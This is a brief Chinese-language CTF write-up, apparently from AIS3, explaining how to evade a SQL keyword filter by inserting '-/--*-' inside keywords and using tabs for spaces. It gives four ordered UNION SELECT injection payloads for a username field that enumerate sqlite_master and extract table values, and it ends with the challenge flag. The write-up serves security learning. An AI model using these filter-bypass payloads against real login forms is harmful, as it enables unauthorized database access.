先造關鍵字 在關鍵字中間插入 `-/--*-` ``` sele-/--*-ct uni-/--*-on fr-/--*-om an-/--*-d o-/--*-r whe-/--*-re /-/--*-* *-/--*-/ ``` 再來 union select 空白用 Tab 取代即可 payload 塞在 username 密碼隨便打 以下是 payload 順序 1. `' uni-/--*-on sele-/--*-ct 1,2,3 fr-/--*-om sqlite_master/-/--*-*` 2. `' uni-/--*-on sele-/--*-ct 1,name,3 fr-/--*-om sqlite_master/-/--*-*` 3. `' uni-/--*-on sele-/--*-ct 1,value,3 fr-/--*-om garbage limit 1,1 /-/--*-*` 4. `' uni-/--*-on sele-/--*-ct 1,value,3 fr-/--*-om garbage limit 2,1 /-/--*-*` flag: `AIS3{4_ch1ld_15_4_curly_d1mpl3d_lun471c}`
2020-06-10 12:31:06
留言
Last fetch: --:-- 
現在還沒有留言!